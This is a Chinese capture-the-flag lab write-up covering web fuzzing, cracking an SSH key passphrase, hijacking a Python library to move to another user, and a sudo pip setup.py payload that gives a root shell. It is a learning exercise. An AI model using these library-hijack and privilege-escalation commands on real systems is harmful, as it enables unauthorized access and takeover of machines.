端口扫描

主机发现

sudo nmap -sn 192.168.162.0/24

多出的.143就是要渗透的靶机

Web

一共就开了两个端口,进80端口看看。就一张图片,看了一下没有什么隐写。扫一下目录

进robots.txt,提示了一个路径/~myfiles。进去一看404

看源码发现只是虚晃一枪。也就是说这个目录应该是存在的。但是也没有其他什么提示,也许myfiles只是一个提示,并不是真正的目录。

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.162.143/~FUZZ

我们把myfiile替换看看,发现了一个secret

访问得知这个目录藏了一个ssh私钥,那我们还要爆破这个目录

然而用gobuster扫不到目录,看了下WP后发现竟然有个点。。。

ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.162.143/~secret/.FUZZ' -fc 403 -e .txt,.html

扫到一个.mysecret.txt,访问得到了一大串字符串。看上去也不像是ssh私钥啊。

Getshell

第一眼以为是base64,但是发现少了几个字符。在cyberchef里尝试了一下后,发现base58解码后就是ssh私钥。

将解码后的私钥复制到一个文本中

ssh2john key >key2
john --wordlist=/usr/share/wordlists/fasttrack.txt key2

爆破得到密码是P@55w0rd!

ssh连接,之前的网页中有提示用户名是icex64。

ssh -i key icex64@192.168.162.143

连了半天连不上去,问了下GPT

chmod 600 key

要保证秘钥的安全性貌似。

然后就成功连接了。

横向移动

passwd里面还有一个叫arsene的非默认用户,不出意外要移动。

sudo -l发现能以arsene用户的身份执行一个python脚本,想起了之前那个rabbit房间。

在arsene用户家目录发现了一个note.txt,大致说的是icex这个用户对脚本有权限。

看一下脚本的内容

总之是导入了一个webbrowser库,其他内容也不用管了,直接库劫持。

在arsene家目录

vi webbrowser.py

输入以下内容:

import os
os.system(“/bin/bash”)

oops,发现我们在他的家目录没有权限。那要不试着直接更改源文件?

vi /usr/lib/python3.9/webbrowser.py

插入一个bash然后保存退出。权限是足够的。

sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

执行完发现已经变成arsene用户了。

提权

sudo -l 发现能以root身份执行pip命令

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

直接一把梭提权

原理应该就是自己创建了一个Python的安装文件里面写了shell,以sudo权限安装就能提权。

碎碎念

还是相当简单入门的一个靶机,但是在web服务内容枚举那里还是磕磕碰碰了一下,总之也有些收获~